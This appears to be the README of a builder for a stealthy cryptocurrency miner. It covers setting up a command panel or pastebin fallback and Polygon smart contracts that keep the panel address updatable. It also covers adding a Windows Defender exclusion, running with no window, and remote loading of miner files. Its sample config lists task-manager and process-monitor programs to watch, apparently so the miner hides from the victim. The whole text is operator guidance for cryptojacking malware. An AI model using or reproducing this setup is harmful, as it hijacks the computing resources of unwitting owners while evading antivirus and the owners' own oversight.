Repository navigation
Building
The builder handles the installation of all needed programs via Chocolatey, essentially a package manager. Please run the builder once as admin if errors show about the install of requirements.
The builder will automatically handle it, but if you plan to do it manually, install the latest cmake and mingw-64 toolchain for windows
This is how your builder will look, if you cannot see the bottom of the window, change the size or scroll.
You can only use pastebin OR a panel, you cannot use both. For fallback, write in a format like this option1url,option2url, etc.
The options here are self explanatory, the main one to note is that defender exclusion requires admin to be granted, and the debug console will create a console version of the miner, disabling this will make it have no window.
For panel users, there is the option to remotely download the miner files from the panel, reducing size. For pastebin users, they must choose which files to embed, depending on their needs. Remote loading is not possible for pastebin.
Thanks to the new v3.0 update, polygon smart contracts are now an option for the panel. In order to setup a contract, run deployer.exe and paste in your polygon private key. Not that this is not the seed of the wallet, but the private key. Deployment costs are roughly 7 cents, and modifying is essentially free, with 50 cents in polygon, you could manage the panel for over a year.
To modify the contract, run manager.exe set panelurlhere And the contract will be updated accordingly
The embedded config can be used by filling out the information inside embedded_config.json, the structure follows the same style as the pastebin formatting if panel option is not used.
{ "enable_cpu": 1, "enable_gpu": 0, "cpu_config": { "mining_url": "donate.corvusminer.top:444", "wallet": "NO_FALLBACK", "password": "FALLBACK", "non_idle_usage": 50, "idle_usage": 100, "wait_time_idle": 1, "use_ssl": 1 }, "gpu_config": { "mining_url": "", "wallet": "", "password": "", "algo": "kawpow", "fan_speed": 80, "wait_time_idle": 300, "use_ssl": 0 }, "watched_processes": [ "taskmgr.exe", "processhacker.exe", "perfmon.exe" ] }
An important thing to know is that the embedded config relies on either a miner in memory already, or one embedded within the client. This means that if the panel were to die and no miner files were embedded, on next run it would not mine anywhere as it does not have the files. So consider what to embed, and what not to.